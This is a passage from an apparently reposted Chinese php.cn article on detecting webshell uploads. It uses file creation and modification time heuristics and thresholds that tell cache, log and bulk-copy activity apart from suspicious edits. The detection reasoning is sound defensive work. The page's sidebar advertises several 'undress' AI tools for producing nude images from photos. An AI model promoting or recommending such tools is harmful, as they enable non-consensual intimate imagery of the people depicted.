</span><span>5</span>. 考虑到CMS中的常常有一些cache、log的机制。业务上会常常去修改这些文件,所以,在基于修改时间和创建时间的这个维度的判断上将阈值稍微调大,这样,网站正常的编辑/<span>修改文件的<br>  行为就不会被捕获判定为可疑,而我们的程序只会去捕获那些修改时间和创建时间差别相对较大的文件操作行为。背后含义即”非常规”的、”异常的编辑”行为,它们在时间线上往往表现为<br>  一些孤立的点
</span><span>6</span><span>. 如果是网站的cache、log机制,那从创建时间和修改时间上表现出来的就是: 创建时间和修改时间之间差距不大,因为cache、log都是每天创建,每天修改的,而系统的代码文件是很早创<br>  建的,然后会很少被修改到,如果一个很少被修改到的文件突然被修改了,则判定为可疑,我在代码中就是基于这样一个假设进行检测的
</span><span>7</span><span>. 如果在程序运行中捕获到的两次文件的创建的事件的时间差值很小(10s以内),并且连续发生多次(5次),说明正在进行大量的文件创建操作。即用户正在进行网站安装行为、或者手动在进<br>  行正常的业务型的文件复制行为
</span><span>8</span><span>. 网站中普遍设置有cache、log机制。如果是网站的cache、log机制,那从创建时间和修改时间上表现出来的就是: 创建时间和修改时间之间差距不大,因为cache、log都是每天创建,<br>  每天修改的,而系统的代码文件是很早创建的,然后会很少被修改到,如果一个很少被修改到的文件突然被修改了,则判定为可疑。
       </span><span>1</span>) log的差值阈值调整为1天(1个log/<span>1天)
       </span><span>2</span>) cache的差值阈值调整为3天(1个cache/<span>3天)
</span><span>9</span><span>. 如果:
       </span><span>1</span>) 用户从网上下载一个CMS程序: xxx.rar,然后用FTP上传到<span>"</span><span>客户端服务器</span><span>"</span><span>进行解压缩
       </span><span>2</span>) 用户直接把整个文件夹(例如/dede/)复制到<span>"</span><span>客户端服务器</span><span>"</span><span>
这些文件的</span><span>"</span><span>修改时间</span><span>"</span>会<span>"</span><span>早于</span><span>"</span>这些文件的<span>"</span><span>创建时间</span><span>"</span><span>,不同于我们通常理解的修改时间迟于创建时间
因为这些文件是在原始作者打包上传的那时候就修改完成的,而创建时间是在本次的复制中记录进去的。所以才造成了这个现象,而黑客通过WEB漏洞对.php等脚本文件的修改导致的GETSHELL,<br>修改时间都是迟于创建时间的
</span><span>10</span>. 能够识别出密集文件创建操作,同时还可以兼容对时间孤立的文件创建的可疑性判定,以及可疑文件修改的判定。这里的<span>"</span><span>密集文件操作</span><span>"</span>指的是当用户在进行.RAR解压缩、或者整体文件夹<br>  复制的时候,往往会伴随着大量的文件操作,这个时候容易产生误报,我们必须有效地检测到密集文件操作的发生,并忽略之,减少误报
登入後複製

转发 PHP 资料(一)

以上是我对入侵检测在GETSHELL检测上的应用的理解,相应的检测程序正在开发中

转发 PHP 资料(一)

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系統,解釋
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1664
14
CakePHP 教程
1423
52
Laravel 教程
1321
25
PHP教程
1269
29
C# 教程
1249
24
PHP和Python:比較兩種流行的編程語言 PHP和Python:比較兩種流行的編程語言 Apr 14, 2025 am 12:13 AM

PHP和Python各有優勢,選擇依據項目需求。 1.PHP適合web開發,尤其快速開發和維護網站。 2.Python適用於數據科學、機器學習和人工智能,語法簡潔,適合初學者。

PHP行動:現實世界中的示例和應用程序 PHP行動:現實世界中的示例和應用程序 Apr 14, 2025 am 12:19 AM

PHP在電子商務、內容管理系統和API開發中廣泛應用。 1)電子商務:用於購物車功能和支付處理。 2)內容管理系統:用於動態內容生成和用戶管理。 3)API開發:用於RESTfulAPI開發和API安全性。通過性能優化和最佳實踐,PHP應用的效率和可維護性得以提升。

PHP:網絡開發的關鍵語言 PHP:網絡開發的關鍵語言 Apr 13, 2025 am 12:08 AM

PHP是一種廣泛應用於服務器端的腳本語言,特別適合web開發。 1.PHP可以嵌入HTML,處理HTTP請求和響應,支持多種數據庫。 2.PHP用於生成動態網頁內容,處理表單數據,訪問數據庫等,具有強大的社區支持和開源資源。 3.PHP是解釋型語言,執行過程包括詞法分析、語法分析、編譯和執行。 4.PHP可以與MySQL結合用於用戶註冊系統等高級應用。 5.調試PHP時,可使用error_reporting()和var_dump()等函數。 6.優化PHP代碼可通過緩存機制、優化數據庫查詢和使用內置函數。 7

PHP的持久相關性:它還活著嗎? PHP的持久相關性:它還活著嗎? Apr 14, 2025 am 12:12 AM

PHP仍然具有活力,其在現代編程領域中依然佔據重要地位。 1)PHP的簡單易學和強大社區支持使其在Web開發中廣泛應用;2)其靈活性和穩定性使其在處理Web表單、數據庫操作和文件處理等方面表現出色;3)PHP不斷進化和優化,適用於初學者和經驗豐富的開發者。

PHP與Python:了解差異 PHP與Python:了解差異 Apr 11, 2025 am 12:15 AM

PHP和Python各有優勢,選擇應基於項目需求。 1.PHP適合web開發,語法簡單,執行效率高。 2.Python適用於數據科學和機器學習,語法簡潔,庫豐富。

說明匹配表達式(PHP 8)及其與開關的不同。 說明匹配表達式(PHP 8)及其與開關的不同。 Apr 06, 2025 am 12:03 AM

在PHP8 中,match表達式是一種新的控制結構,用於根據表達式的值返回不同的結果。 1)它類似於switch語句,但返回值而非執行語句塊。 2)match表達式使用嚴格比較(===),提升了安全性。 3)它避免了switch語句中可能的break遺漏問題,增強了代碼的簡潔性和可讀性。

PHP和Python:代碼示例和比較 PHP和Python:代碼示例和比較 Apr 15, 2025 am 12:07 AM

PHP和Python各有優劣,選擇取決於項目需求和個人偏好。 1.PHP適合快速開發和維護大型Web應用。 2.Python在數據科學和機器學習領域佔據主導地位。

PHP與其他語言:比較 PHP與其他語言:比較 Apr 13, 2025 am 12:19 AM

PHP適合web開發,特別是在快速開發和處理動態內容方面表現出色,但不擅長數據科學和企業級應用。與Python相比,PHP在web開發中更具優勢,但在數據科學領域不如Python;與Java相比,PHP在企業級應用中表現較差,但在web開發中更靈活;與JavaScript相比,PHP在後端開發中更簡潔,但在前端開發中不如JavaScript。

See all articles